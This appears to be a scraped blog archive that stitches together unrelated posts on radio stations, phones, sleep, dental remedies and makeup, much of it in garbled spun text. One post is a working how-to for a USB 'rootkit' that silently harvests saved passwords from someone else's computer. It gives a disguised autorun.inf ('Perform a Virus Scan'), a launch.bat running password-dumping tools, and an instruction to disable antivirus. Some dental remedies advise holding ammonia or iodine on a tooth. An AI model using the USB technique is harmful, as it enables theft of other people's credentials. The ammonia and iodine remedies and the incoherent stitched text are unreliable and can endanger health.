March 2011 ~ Mortgage Insurance Low Loan Attorney Risk Management Donate

The thethrillhour.blogspot.com offers you Listen to thousands of internet radio stations featuring online music in every style, including hip hop, jazz, new age, rock, classical, oldies, and more.

African Radio Stations

Indian Radio Stations

Radio Afsana

Radio Afsana 24/7 is new remix non-stop online radio station mix Masala, Desi, Hindi, Bhangra with the latest and hit songs from Bollywood.

Visit Radio Afsana 24/7 non-stop online radio station website at radioafsana.com

Radio Mirchi 98.3 FM

Radio Mirchi 98.3 FM is the place to full Bollywood fun

Visit Radio Mirchi 98.3 FM at radiomirchi.com

The Voice Asia

TVA - The Voice Asia Live

For More Info Visit: live365.com

Viduthalai Fm - Live Streem
The Voice Asia Live - Bollywood India Tamil Language
TORi Telugu - TeluguOne Radio - GNT Stream
Radio Schizoid EDM - Non Stop Music
Radio Schizoid - Chillout Non Stop Music
NJ Tamil Radio - NJ Tamil Radio
Magimai FM - live streem
Faith FM - Broadband Stream Your Inspiration Station 94.3
Depika Global Radio - 24 Hours Live
Craze Fm AAC 32K - Best Indian Pakistani Music
Air Tamil - 24 Hours online Radio Streamins
Mast Radio - Noice Filtered Masti Powered Hindi Urdu New Songs
Radio Afsana 24/7 - New Remix Non Stop Latest & Hit Songs
Radio Mirchi 98.3 FM - Is The Place To Full Bollywood Fun

Viduthalai Fm

Viduthalai Fm Live Streem

For More Info Visit: v1fm.com

TORi Telugu

TeluguOne Radio - GNT Stream

For More Info Visit: tori.com

Radio Schizoid EDM

Radio Schizoid Non Stop Music

For More Info Visit: Schizoid.in

Radio Schizoid

Radio Schizoid Chillout Non Stop Music

For More Info Visit: Schizoid.in

Magimai FM

Magimai FM live streem

For More Info Visit: magimaifm.com

Depika Global Radio

Depika Global Radio 24 Hours Live

For More Info Visit: deepikaglobalradio.com

Faith FM

Faith FM broadband Stream Your Inspiration Station 94.3

For More Info Visit: faithfm.org

Craze Fm AAC 32K

Best Indian Pakistani Music

For More Info Visit: Desi-radio.com

Air Tamil

24 Hours online Radio Streamins

For More Info Visit: tsriive.com

Mast Radio

Noice Filtered Masti Powered Best Tracks from Hindi Urdu New Songs

For More Info Visit: MastRadio.com

The Magic Radio

100% Pakistani And Indian Music

For More Info Visit:

Tru FM

Tru FM streaming local and international hits music, broadcasts in IsiXhosa and English live from Bisho, South Africa.

visit their website at trufm.co.za

SAFM located in Auckland Park, Johannesburg, South Africa streaming urban adult contemporary music, latest news, current affairs, sports, business, financial update and talk show. Live streaming frequency 104 - 107 MHz.

visit their website at safm.co.za

Radio Sonder Grense RSG

RSG or Radio Sonder Grense is modern progressive Afrikaan radio station streaming rock and pop hits music, information and latest new mostly in English and Afrikaan language live from South Africa

visit their website at rsg.co.za

Radio2000 FM

Radio2000 FM is internet radio only streaming live from Johannesburg, South Africa.

visit their website at radio2000.co.za

94.5 KFM

94.5 KFM streaming and broadcasts adult contemporary hits music, current affairs, hot news and community events over internet directly from Cape Town, South Africa.

visit their site at kfm.co.za

Lotus FM

Lotus FM streaming and broadcasts mostly Indian hits music 24/7 live from South Africa

visit their website at lotusfm.co.za

Kaya FM 95.9

Kaya FM 95.9 streaming good music live from Newtown, Johannesburg, South Africa.

visit their website at classicfm.co.za

Classic FM

Classic FM - 102.7 FM broadcasts instrumental classical modern music, news, event and talk show which focus on business and financial update. Streaming live from Braamfontein, Johannesburg, South Africa.

visit their website at classicfm.co.za

Algoa FM

Algoa FM streaming adult contemporary hits music, news and much more live from Port Elizabeth, South Africa.

Algoa FM visit algoafm.co.za

702 Talk Radio

702 talk radio streaming hits music and talk show on the internet from Sandown, Sandton, South Africa

More details about 702 Talk Radio visit their website at 702.co.za

1. Adjusting To Different Schedules
Different schedules each day can change the sleep pattern very much. In this age of varying work schedules, very few people stick to their regular bed time and wake up time pattern. However, adjusting to different schedules is very easy. For example, if you have to wake up 30 minutes earlier the next day, you should consider going to bed 45 minutes earlier than you usually do. Adjust your sleep times because as sleep deprivation builds, so does the likelihood that this can lead to more serious issues such as insomnia.

2. Sleeping With Your Own Pillow
This may seem funny to you. But research indicates that people sleep best with the pillow they use every day. So it’s actually a good idea to carry your pillow with you while traveling long distances and staying in different places.

3. Drinking Alcohol and Sleep Patterns
Consumption of alcohol before going to bed is proven to interrupt the sleep pattern and have a negative impact on the overall quality of your sleep. However, people with partners who snore may resort to drinking alcohol before going to bed to aid their ability to sleep. Additionally, studies show that consuming alcohol before going to bed increases the likelihood of snoring. The recommendation here is to avoid alcohol or drink in moderation to improve the overall quality of sleep for both you and your partner.

4. Snoring and Sleep Patterns
Snoring is an example of an improper sleep pattern that has many other health hazards associated with it. Finding the root cause of snoring can be difficult. People who snore and have partners impact the sleep patterns of both, and this often correlates with challenges in focusing and concentrating throughout the day, especially in the workplace. Whatever, the cause, snoring can destroy a good night’s sleep. Snoring cures and solutions to issues like sleep apnea have been in development since the dawn of time, and it is often challenging to eliminate the causes of snoring. However, there are snoring devices available that aide in stopping snoring.

5. Selecting the Best Snoring Devices for Your Sleep Patterns
thatAs you may know, there are many snoring devices available in the market today. Depending on the arecause of snoring, selecting the right snoring device may be a challenge. For instance, primary nasal snoring is often the result of congestion (narrowing of the nasal passages) or relaxation of the nasal passages. Narrow or relaxed nasal passageways create a resistance of airflow or air turbulence.

Never:

* Use bad language while fighting.

* Threaten to terminate your relationship, just for the sake of gaining an upper hand.

* Become judgmental about his character if it has nothing to do with the fight.

* Use force (hands, feet, vessels, mobile phones) to show power.

* Quote past experiences. Let bygones be bygones.

* React! Yes, reaction is an emotional process that could make the situation worse.

Always:

* Respond! A response is to find a solution to the problem. This can lead to creative handling of future problems.

* Fight when both of you are calm and composed.

* Fight in a place where you will not be disturbed. Make sure the kids or a third-party are not around.

* Make sure that if he begins what he has to say, you allow him to end it. DO NOT interrupt him.

* Remember to express what you are feeling at that exact same moment. Don’t hesitate to say it if you are feeling “sad”, rather than “angry” at that point of time.

Making up tips…

Post fighting, both of you need your space to settle your emotions and get back together. Here’s what you do:

* Doing something that is ‘not you’ can be bring relief to the tension in your fights. Surprise him, do something that you would usually never do. Get him flowers, candy, or say things to him that you would normally never say. (Nice things, of course!)

* Say sorry. If it was your fault and you know it, say sorry.

* Celebrate! Once a resolution has been reached, celebrate the occasion. A candle light dinner, good sex. In other words, be close to each other.

* Last but not the least, FORGET about the issues that caused hurt. Rather, concentrate on the solutions that you have come up with.

Samsung has recently announced Corby II at the Samsung SEA Forum in Singapore. It is the successor to the tremendously popular Corby series. The latest Corby II comes in a variety of colors and built in finest features.
The phone supports quad-band GSM/EDGE and features a 3.14 inch touchscreen, 2 Megapixel camera, Bluetooth 3.0, FM Radio, Wi-Fi 802.11b/g/n, microSD card slot up to 16GB, 3.5mm headphone jack. The latest Corby II phone is powered by a 1000 mAh battery offering 9.5 hours of talk time. It is best for all Samsung fan this latest Corby II series will be superb. It comes in slim and sleek design.
Well, it comes in a stylish design with touchscreen features, it will be made available in a variety of colors such as Pink, White and Yellow. It comes to hit the market soon. The cell phone is included with a T9 Quicktype keyboard. There is no other details are yet available just check out its latest image and details above.

Sony Ericsson Xperia LED Android Phone is All About Quality

Unsatisfied with the current build quality of Android phones, designer Kieron-Scott decided to create the Sony Ericsson Xperia LED concept. This Android device comes with a unibody high polished black steel body and copper plated buttons with LED indicators.

In order to get evenly illuminated shots, the Xperia LED uses the ring flash technology and a nice touch is the illuminated Sony Ericsson at the back. This seems to be a design prototype, so it’s a work in progress, accepting input from you. There’s the comments section for that, if you have suggestions.

This handset certainly looks like Nexus material and Google would probably embrace it as its own. Notice the edge to edge screen present upfront, but I’m not so sure about that curved back. Perhaps make the curve smaller?

iPhone 5

iPhone 5 to Use Aluminum Back Case, iPad 2-Style Smart Covers?

Although the iPhone 5 you can see below is a mockup, it seems to fit recent speculations saying that its design won’t be that different from the iPhone 4… That unless you count a 4 inch display and an aluminum back as huge differences. Rumor has it that the new iPhone will use the iPad 2 as inspiration, even getting those cool Smart Covers it has.

There’s already evidence in iOS 4.3 supporting the claim that the iPhone 5 will use the Apple A5 dual core processor for an extra power boost. Also, the latest concepts and designs of the handset have all shown up with an edge to edge display, that would be cool, if it were real. Since many people said that the iPad 1 was a bigger iPhone, will they say that the iPhone 5 is a smaller iPad 2?

As the MWC 2011 event is reaching closer, the excitement is increasing amongst all mobile enthusiatics and fanatics alike. MWC is suppose dto be one of the biggest event for mobile phone industry and we expect to see a lot of powerful and sleek looking smartphones. Some of which are Nokia N9 and Motorola Atrix, both are extremely sleek looking and powerful phones. However, the phone we are covering here is Nokia C8, it is not even in rumors as of yet, but someone from Mobile-Reviews.com coe up with a concept design of Nokia C8.

This phone seems like a mix of couple of mobiles, such as if you closely look at Nokia’s most recent release Nokia C7, you will find a lot of similarity, which means, with this design, the over all theme of phone can be matched to C7 and make it look like a step up from a sequel, rest of the appeal and features look pretty much like Nokia 8800 Luna. RIght now, it might be in appropriate to even comment on the specifications of this mobile, as it is some concept phone by some random person, but it is safe to assume that, this smartphone might run on Meego or Symbian 3 and have a strong sleek camera with atleast 12 mega pixel, it could also have a very powerful processor, such as dual core or something! Well, time shall tell.

Nokia C5 03 is a nokia’s latest handset. It is a Smartphone with Symbian OS. The phone comes with 3.2″ touchscreen display and 5MP camera.
If you are searching a good looking handset at an affordable Price then Nokia C5 03 is the best option for you. This model provide fast social networking service. It supports up to 16 Gb memory.
Nokia Mobile Phones Price List 2011

Nokia C5 03 Mobile Features:

Basic Features:

    * Smartphone with Symbian OS
    * Touch Screen (Resistive)
    * Motion Sensor
    * GPS & Maps
    * Compass
    * Voice Dialing
    * Voice Record

Entertainment Features:

    * 5 MP Camera(Good camera quality)
    * Camera Features: Geo Tagging
    * Music player
    * FM Radio
    * Standard earphone jack
    * 2 GB free memory card

Connectivity:

    * WiFi
    * 3G More (3G Mobile Phone)
    * Internet (GPRS+EDGE)
    * Bluetooth
    * USB

Applications:

    * Ovi Store
    * Document Viewer
    * E-Mail
    * Instant Messaging
    * Social Networking (Facebook, Gmail etc)
    * YouTube
    * Music Recognition
    * Java Support

Nokia C5 03 Mobile Specifications:

Battery Life
Charge once in 1 day(s)

Screen Size
3.2 inches

SMS Memory
Unlimited

Weight
93 grams

Resolution
360×640 pixels

Storage Memory
40 MB + Ext. Memory Slot

Thickness
13.8 mm

Phonebook Size
Unlimited
Nokia C5 03 Mobile Price in India, Mumbai, Delhi, Pune: 10,700

Mobile number without or wrong IMEI number are banned accorss India now. Mostly China mobile phone brands like Alkatel, Sigmatel, Spice, Carboonn, GFIVE and many more now provide valid IMEI number

Check China or any Mobile Phone IMEI Number Validity

1.Press *#06# on your mobile handset and note down the 15 digit IMEI number
2.Compose a new message from your mobile >> Type your 15 digit IMEI number >> Send it to 53232
3.If you get “Success” as the reply, then your mobile IMEI number is valid
4.If you get “Invalid IMEI” as the reply, that means your IMEI number is not valid
5.You are now done.

This will help you to know that your imei number is valid or not

The tricks contained within this post probably aren’t going to be revolutionary to most seasoned Windows Mobile users but if there’s one thing I can’t stand about the operating system, it’s how many steps and/or the amount of extra software it takes to do simple things sometimes. Here are five tricks that don’t require any extra software and should each take under a minute to perform. Feel free to leave any of your own dead-simple tricks in the comments below.

Speeding things up
Some people are unaware that when you close a program in Windows Mobile, the program doesn’t actually close. It stays open and running in the background so that, just in case you need to use it later, it’ll be all ready to go for you. Well, get too many programs running in the background and guess what happens? Your phone slows down. Here’s how to close one or more running programs, which will in turn speed up your phone.
1. Click Start > Settings > System tab > Memory > Running Programs tab
2. Choose the program you’d like to close completely and click Stop. I generally close all programs except the one I’m using.
You can also shut your phone off and power it back up, but that’s no fun and it takes over a minute to do in most cases.

Increasing available storage
You’d be shocked and amazed to discover how much space browsing the web takes up on your device. That’s because Pocket Internet Explorer keeps a cache of temporary Internet files in your system memory in order to cut down on data loading times for sites you frequently visit. I cleared out these temporary files the other day and it freed up a whopping 15-megabytes of space. That’s a lot when you consider that most Windows Mobile phones have well under 100-megabytes of built-in storage.
Here’s how to quickly clear up some space on your device.
1. Open Internet Explorer
2. Tap Menu > Tools > Options > Memory > Clear Temporary Files
Your phone might appear to freeze for a bit, but that’s just because it’s puking up all the garbage that it’s been retaining for so long. It’ll start moving again soon, though.

Working with e-mail
The initial setup of your mail service is beyond the scope of this article but here are some tips for working better with your e-mail once everything’s all set up.
GMAIL If you have a G-mail account you get a ton of messages every day, change your e-mail address in the E-mail Setup area to recent:yourusername@gmail.com, replacing "yourusername" with your actual user name. Adding the "recent:" to the front of your address tells Google to only send messages to your phone from the past 30 days and will, in effect, free up a lot of space and save you a lot of downloading time.
HEADER vs. PARTIAL vs. FULL MESSAGES You should have a section of your e-mail setup called something like "Download the following messages" where you can set Windows Mobile Messaging to download e-mail from today only, the past three days, the past month, and so on. There should be another option where you can choose to download the header only, the entire message, or the first 500, 1000, or 5000 bytes.
I find that 500 bytes is too short for some messages and instead opt for the first 1000 bytes. If you choose to display just the header, you’ll have to manually click each e-mail you’d like to read in its entirety and reconnect to your e-mail service to download the full message(s). It’s a big pain most of the time. The first 1000 bytes should give you most or all of each message so that you can either delete or reply without going through a bunch of extra steps. Be careful, though. If you get a lot of large e-mails (with attachments, for instance), it’ll take a while to download even 1000 bytes of each message and it’ll drain your battery much faster than normal.

AUTOMATICALLY CHECKING FOR MESSAGES
In the interest of battery life, if you get more than 25 e-mails each day, set this option to Once a day or Never. If you need to constantly check your e-mail, just open up the program and do a manual Send and Receive every time you want to get your new messages. All it takes is one instance where your phone tries to automatically check for messages when you’ve got a weak signal and the amount of time it takes to slowly download everything sucks the life right out of your battery.
Use your phone as a flashlight
This is one of my favorite tricks whenever anybody drops something under a table in a restaurant and it always gets a "of course Doug has a flashlight built into his phone" comment, but it’s ridiculously simple and most people with Windows Mobile devices can do the same thing if your device has a built-in camera and flash.
Simply navigate to your camera program and turn on the flash. It should stay illuminated until you turn it off. On most devices, it’s a focused beam of light instead of an actual flash that illuminates an area at the exact moment that you take a photo. Use this trick sparingly, though. It’s a huge drain on your battery.
Quickly turn various connections on and off
This will be done differently depending on your phone but most devices have a hardware button that you can hold down to quickly access your connection settings. It’s great if you’re getting on a plane, going into a meeting, or just want to conserve some battery life.
On the PPC-6700, for instance, you can hold down the Internet Explorer button to access this feature. On the Motorola Q, you hold down the home button. Check your device’s manual to figure out which button to use on your own phone.
I keep the Bluetooth function of my phone off at all times and I’d suggest you do the same unless you use that feature all the time. It’s a pretty good drain on the battery. Likewise, if your phone has a wireless network connection, you can keep that turned off unless you use a wireless connection in your home or office frequently. On my PPC-6700, I found that my connection to Sprint’s network was fast enough that being connected to my wireless network at home didn’t provide enough extra speed to justify the battery drain. Your mileage may vary, especially depending upon which network you use.

There are so many people out there who have a natural fear of the dentist, and that fear is understandable. The dentist is never a pleasant experience for anyone. It brings more pain and discomfort for some than for others, but all in all it is the type of thing that nobody ever wants to have to deal with unless it is absolutely necessary.

Luckily, every little dental problem does not have to send you to the feared dentist. While the dentist is a good idea for every six months, toothaches, persistent bad breath, whitening, and other such dental issues can all be taken care of at home. Here are a few natural dental care remedies that you can employ in the comfort of your own home, to save you the pain and the cost of having to go to the dentist.

Bad Breath
Put one teaspoon of rosemary, one teaspoon of peppermint, and one teaspoon of lavender into a cup. Shake well and place one teaspoon of that concoction into boiling water. About one cup of boiling water should be fine. Strain that mixture and put in the refrigerator for three to four hours. You have just made your own mouthwash, great for killing nasty oral bacteria and bad breath in the process.

Teeth Whitening
There are great deals of home remedies for those who are looking to whiten their teeth without having to invest in some fancy strips or trays. Orange or lemon peels work well for this purpose. Peel the fruit and rub the light side against your teeth to make a brilliant shine! It doesn't taste too bad, either.

Canker Sores
If you have ever had a canker sore, you know how thoroughly irritating and inconvenient they can be, not to mention extremely painful. There are a few ways to ease the discomfort of canker sores from the comfort of your home.

A simple one is to warm a tea bag and hold it on the sore spot for five minutes. It will feel instantly better. It won't cure it, but it can make it feel a great deal better.

A thyme mouthwash can also help to relieve the discomfort of canker sores. Just mix one teaspoon of thyme and a cup of water together and let it warm for ten minutes. It makes a great mouthwash for canker sores!

Toothache
Toothaches are something that people very commonly experience. They can be caused by poor dental health or just a piece of food stuck in the wrong place for too long. One of the most longstanding remedies for toothaches is to dip a Q-tip in clove oil and hold it on the tooth. Try not to swallow it. It will help ease the pain nearly instantly, and the relief can last for quite a while.

Ammonia also works well for this purpose. Soak a cotton ball in ammonia and hold it over your tooth for a few minutes, and it should feel better soon. Just remember not to swallow it as ammonia can be highly toxic. If your toothache persists for more than a day, you should probably make a dentists appointment as soon as possible.

It is okay to be afraid of the dentist. Whether in secret or not, many people are. For those times when you can't bring yourself to go see a dentist, here are some remedies you can employ at home to bring yourself a little bit of comfort.

Toothache relief is almost like a heaven’s gift for anyone suffering from that annoying toothache that affects their work schedules and other personal activities. In the event you desire to know the best way to relieve toothache during days when you experience that dreadful pain, then maintain reading.
Most of the time, individuals would opt for a toothache pain reliever recommended by doctors for relieving a toothache. Having said that, if the symptoms take place continuously, buying these drugs might give ample side-effects. So, tooth ache relief should be something natural and readily available in case toothache occurs in an unfortunate time.
Below are a few of the house remedies for toothache pain relief that are readily accessible:

Icepack For Toothaches
Making use of an icepack is really the very first home remedy for toothache that comes to mind. Ice has superb numbing properties which will assist significantly in decreasing the pain. It is possible to use this simply by holding the ice around the affected area outside the mouth and try to compress the ice there. It helps numb the pain by numbing the nerve endings of the teeth.
Fresh Peppermint
Fresh peppermint is also an superb toothache relief. Simply get approximately 5 grams of fresh peppermint and boil it in 1 cup of water. You’ll be able to add a half-tablespoon of salt so that you can maximize the effects. Drink it when the water is already lukewarm. This solution is useful in eradicating the pain from the toothache plus the pain caused by headaches.
Cucumber For Toothaches
Cucumber is also a quite very good for decreasing the pain caused by toothaches. It is also incredibly inexpensive and can quickly be bought in supermarkets and vegetable stores. Cut the cucumber in thick slices, and then hold these pieces on and around the tooth. You will right away feel the soothing effects of the cucumber. It really is also recommended to chill the cucumber initial as this will act as catalyst to the soothing effects.
Whiskey For Toothaches
Whiskey is also a quite very good way the best way to relieve toothache. You are able to try passing the whiskey over the irritated tooth, and also the alcoholic properties of the whiskey will serve as an anaesthesia to the affected area.
Iodine For Toothaches
Just a drop of iodine is sufficient to serve as toothache relief. Just be careful not to swallow the iodine and leave it for a whilst longer on the affected area.

With regards to tooth pain relief, you will discover so numerous techniques of treating a toothache. You take pain relieving medicines including aspirin, ibuprofen, acetaminophen, and paracetamol. It is possible to also treat your toothache with elements that supply organic tooth pain relief.
It has been stated that pain is a way for our physique to tell us that something is incorrect. With regard to toothaches, you’ll find four popular causes. The first is tooth decay. This can happen anyplace on the surface with the teeth, but it’s most prevalent around the chewing surfaces from the teeth and close to the gums and in in between the teeth. This really is caused by eating also a lot sugar that produces acids inside the mouth that eats into the tooth enamel.
It is possible to also encounter pain inside your mouth whenever you have an infected tooth. When pus collects inside the middle of a tooth because of an infection, it affects the root and also the bones supporting the tooth. The tissues on the tooth may well also start to swell, and this causes a toothache.
In case you have a tooth that failed to emerge fully via the gums, that may also lead to pain in your mouth. That is what is called an impacted tooth. The fourth typical cause of toothaches is gingivitis. This is also known as gum illness. It is marked by bleeding when bacteria in plaque that forms on the teeth causes gum inflammation. This is why 1 form of teeth pain relief is brushing your teeth and flossing. Whenever you don’t permit plaque to build up in your teeth and gums, it is less likely that bacteria will probably be dwelling inside the gums to provide you with gingivitis.

The most effective approach to prevent toothaches from happening would be to practice constant oral hygiene. It is possible to brush and floss particles of foods away out of your teeth following each meal. You can also gargle with mouth wash or warm h2o with salt to clean your teeth additional. If you have a toothache, this also assists relieve the tooth pain.
It is possible to chew a piece of ginger for 50 percent an hour whenever you possess a toothache. The juice that the ginger releases helps soothe the pain and irritation in your gums. An additional technique of toothache relief would be to soak a cotton ball in 100% proof whiskey and spot it in your tooth. There are lots of techniques to obtain tooth pain relief; not just are they healthy, but really easy also.

The pollution is a real enemy for your skin. Day after day it acts on your skin and ages your skin prematurely. Your face, neck and hands are at highest risk. Your skin can protect itself from the pollution but if the pollutants stay on your skin for a longer period that can change your skinвЂ™s structure and cause serious problems. The air pollution not only irritates your lungs but also affects the way you look. When we breathe in air pollution, very fine particles easily enter our lungs where they can cause many serious problems вЂ“ breathing problems, asthma, and nausea. High polluted air irritates the lungs, cause nausea, coughing and chest pain, damages blood vessels, affects the immune system. Air pollution seriously affects the skin вЂ“ it increases the oxidation of the sebum, causes pimples formation, allergies and rashes. Air pollution can also aggravate health problems for the elderly and others with heart or respiratory diseases. Smoggy air may lack moisture and cause skin dehydration.

The pollutants cause premature aging of the skin as they “suck out“ the oxygen from the skin cells and your skin looks dull and sagging. The complexion becomes grayish, rashes appear and small pimples form. Despite causing premature aging, pollution can also cause skin allergies, diseases, pigmentation, eczema and even acne. Pollution damages your skin as it increases the free radicals and the effect of the UV radiation, it decreases collagen and elastin production, resulting in a rough skin texture, clogged pores and fine lines.

Henna (also known as Mehendior, Hena) is a flowering plant used to dye skin, fingernails, leather, silk, wool and even to dye hair and has been used for centuries. Nowadays henna is widely used by the Indian women as a dye for hair, skin and nails as well as for body art and temporarily tattoos. Using henna to dye your hair is probably the best way to color your hair naturally without damaging it. Henna simply adds color to the hair with a gentle and natural approach. It doesnвЂ™t alter the structure of the hair but it does condition and nourish the hair, as it doesnвЂ™t contain synthetic chemicals. It works great to color red or reddish brown hair.

The benefits of using henna to color your hair:
◦prevents premature graying of hair
◦nourish and condition the hair
◦make hair shiny and smooth
◦doesnвЂ™t irritate the scalp or the skin
◦simple and easy to use
◦henna doesnвЂ™t lighten (or bleach) hair
◦doesnвЂ™t contain harsh ingredients and chemicals
◦henna straightens and thickens your hair
◦doesnвЂ™t contain ammonia
◦prevents hair loss and dandruff

You will need:
◦henna powder
◦lemon juice (vinegar, red wine)
◦protective plastic gloves
◦a shower cap to cover your hair
◦a bowl
◦wide-toothed comb
◦old towels

Whitening your teeth at home is the best way to maintain a Hollywood smile. Stained teeth may easily ruin your beautiful smile and teeth stains can be very embarrassing and difficult to remove if not treated in time. Teeth discoloration may be caused by different factors but fortunately there are great whitening products that you can use at home to whiten your teeth effectively.

Nowadays there are many products that are specially developed to maintain the whiteness of your teeth such as вЂ“ whitening toothpaste, whitening pens, gums, whitening strips and mouthwashes.

What causes tooth discoloration?
The natural aging process, some foods, bad habits like smoking, drinking alcohol, drinking too much soft drinks, poor oral hygiene, even some medications can cause tooth discolorations and stains. Drinking too much coffee, tea, red wine, smoking can easily stain your teeth if you donвЂ™t take a proper care of them. Even some medications can also affect the color of your teeth (antibiotics for example).

Once you get 40 you may notice that your teeth become darker and darker but itвЂ™s something natural and normal вЂ“ simply due to the aging process. As we age the outer layer of enamel on the teeth gets worn away, revealing the yellow color of dentin. Smoking and eating certain foods (strawberries, blackberries for example ) usually stain only the surface of the teeth but with aging the staining and the discoloration may be more visible.

Another very common cause of teeth staining is poor oral hygiene. If you donвЂ™t take a proper care of your teeth it may cause yellow and green stains on your teeth due to bacteria or the build-up of fungus. Brushing and flossing your teeth is essential in order to keep your teeth healthy and good-looking.

How To Change PASSWORD USING USB

i acquaintances now iam inane to show how to hack others password or useful information through USB pen drives,now a days pen handbook has be converted into the user forthcoming data storage space contrivance which can be use for many useful purposes and simple to carry from one place a additional place, in earlier days there were other data storage space devices like Poppies,CD’s,DVD s and portable hard disk which ar large in size when equate to Pen drives

appearance to the point, now we have a practice of using pen drives to hack others systems passwords or useful information of acquaintances or enemies the software’s which are listed below to hack others system passwords

   1. MessenPass: Messepass is the software which capture all the passwords and prepare a notepad of all password stored in messangers applications like (Yahoo Courier,G-talk,MSN Courier, Windows Courier, ICQ Lite 4.x/2003, AOL Second Courier, Trillian,Nimbuzz,Miranda, and GAIM.),to download this sotware CLICK HERE
   2. Mail PassView : Mailpassview is a software which pile all passwords stored in applications or programs of Outlook Prompt, Microsoft Outlook 2000, Microsoft Outlook 2002/2003/2007, Incredi Mail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.it can also recover the passwords of Web-based email accounts like (Hot Mail, Yahoo!, Gmail) to download this sotware CLICK HERE
   3. IE Pass view:this software which is applicable only for Internet Surveyor Browser of all version like 4.0 ,6.0,&0.7 which is useful to note all passwords stored in internet surveyor,to download this software CLICK HERE
   4. Protected Storage space PassView:Recovers all passwords stored surrounded by the Protected Storage space, counting the AutoComplete passwords , passwords of Password-protected sites like MSN Surveyor Passwords, and more…to download this sotware CLICK HERE

5. PasswordFox:Mozilla Firefox: is user forthcoming web browser, if it is more user forthcoming it will be converted into       very simple to hack your E-mail accounts and passwords etcso here is the ploy of capturing all emails and   password which are saved in Mozilla Firefox with one click, by using new software which is arrived just called as Mozilla Firefox recovery tool which displays all the data stored in Mozilla Firefox like password and email IDs what ever you logged in etc..to download this sotware CLICK HERE

to start the password hacking toolkit.folllow few steps
NOTE: before following these steps You must temporarily disable your antivirus.

1. frst Download all the 5 tools, extract them and copy only (.exe files) into your USB Pendrive. develop rename them or Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Handbook.

2. Start a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save as the Notepad and rename it from

New Text Document.txt to autorun.inf

Now copy the autorun.inf file onto your USB pendrive.

3. Start a additional Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from

New Text Document.txt to launch.bat

Copy the launch.bat file also to your USB handbook.

Now your rootkit is ready
1. Insert the pendrive and the autorun dialogue box will grow (This is because, we have made an autorun file in pendrive).

2.then , select the first selection (Perform a Virus Scan).

3. Now all the password recovery tools will silently work(This process takes only just a few seconds). The passwords get stored in the .TXT files.which will grow in pendrive
This hack facility on Windows 2000, XP, Vista and Windows 7
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

Sometimes women have to do makeup on a very short notice to attend a function or they don’t have enough time to do complete makeup. So here is a shortcut way to makeup them ready for any function. It will take hardly ten minutes to give them an attractive look. If you are going in a car, taxi or any other conveyance, start your makeup after having your seat. You must have the following items in your purse.
• Mirror
• Powder brush (large)
• Mascara
• Canceller stick
• Eye shades
• Hand cream
• Hair brush
• Wet sponge
First apply foundation on your face. Wet your hair. Spray perfume. If you want pony tail then make it or if you like to leave them open then brush them. Now use concealer to hide dark circles around your eyes. Apply matching eye shades along with mascara. But while applying mascara wait for a while till your car stop on a red signal. Otherwise in moving car if you will apply mascara it can create trouble for you. Lipstick can be used easily in a moving car. Use blush on cheeks, nose and chin. Use hand cream and cuticles on your hands to make them beautiful. Your makeup is complete. If you have some extra time, then you can also use the nail polish on nails. Only one coat is sufficient for it. It is necessary to do makeup for women. Makeup takes some time when it is applied. Sometimes there is no time to do makeup then you must know the shortcut tips to do the makeup. You can get a healthy complexion if you follow on those tips which lead to you towards a good makeup.

Girls of teen ages feel more difficulty to maintain their beauty than the women. They have sensitive skin so they should care their skin in a particular manner. Every girl desires would that she is the most beautiful! Don’t worry you can become very beautiful if you follow some tips to get the beautiful complexion and especially these tips will help you for the maintenance of your natural beauty in a unique pattern.
Cleansing:
Every teen age girl should make a regular cleansing. It is the desires of whole the feminine gender that do they look young whole the life. If you also want to remain young then care your skin by cleansing. Make it your habit to use a sun block cream or lotion in the day and before sleeping wash your face. Permanent cleansing on the night before sleeping will keep your skin fresh and soft always.
Light Foundation:
The girls of teen ages have their skin very soft and smooth so they don’t need to make a strong foundation. Soft skin has a more capacity to absorb the particles of powder, lotion, cream or base so a light foundation will give a natural look to your face. Therefore remember always light foundation will give twice advantages; one of natural complexion and second is remain young for a long life.
Concealer usage:
Those girls who have the acne problems, they should use the concealer lightly hitting on the spot not rubbing that affected place. If there is a pimple or freckle on your skin then hide it lightly. Don’t try to remove it from your face because its water can leave a dark mark on your face.
Lips and Eyes:
When you makeup your face then keep it in your mind that the lips and eyes are the important dominant parts of your face. Make one thing dark and other thing light. If you are applying the dark colour of eye shadows on your eyes then use the light colour of lipstick and vice versa because it will give you a natural appearance.
Light Makeup:
Remember you are the girl of teen age not a woman of thirty or forty so apply a light makeup on your skin. Light makeup keeps a natural and young look. Dark and heavy makeup produces the dull look on the face of young girl.
Hairs of Natural Colour:
Always keep your hairs in natural colour if you are teen age girl. Try to imagine if you have dark colour hairs and your makeup is according to your hair colour then you are looking absolutely young with a unique complexion and similarly in case of sun colour hairs apply the matching makeup for getting the attractive natural look.
Vaseline or Lotion:
To keep your lips fresh you should regularly use the Chap Stick on your lips to prevent them from spoiling. Similarly for the heels you should use the Vaseline or lotion. It will keep them soft.
Cure of Acne:
If you have unluckily acne problems then don’t apply the self experiment to solve this problem. You should consult this problem with a dermatologist because if you will try to remove them then you can cause to spread it severely.
Tip for purchasing the Lipstick and Eye Shadow:
Always check the colour of makeup on your palm either you are purchasing the lipsticks or purchasing the eye shadows. Before purchasing the makeup keep imagine that colour on your face because it will help you to select the better colour for your face which suits you and gives you a pretty complexion.
Care to remove the unnecessary Facial Hairs:
A great problem for the girls is the presence of unnecessary hairs on face. Don’t remove them simply because it leaves the dark marks on your face and cause to increase the numbers of these hairs. Always remove them using the specific method and after removing apply an antiseptic solution on that place to kill the germs.
In the end I will suggest you for the beautiful dressing. Always wear those clothes which suit your body shape such as height, fat, slim and smartness. When you will chose the dresses according to your body shape then you will see after wearing that you are feeling so much this dress is prepared only for you. It will increase your beauty with a stylish fashion.

Cleansing is necessary for the skin because the makeup which you apply on the skin can harm it if its particles are not fully removed. After cleansing you get the skin fresh, soft and smooth as it is really natural. Daily cleansing makes your skin whiten and brighten.
• Wash your hands with an antiseptic soap before starting cleansing because germs may be on your hands and can harm your face.
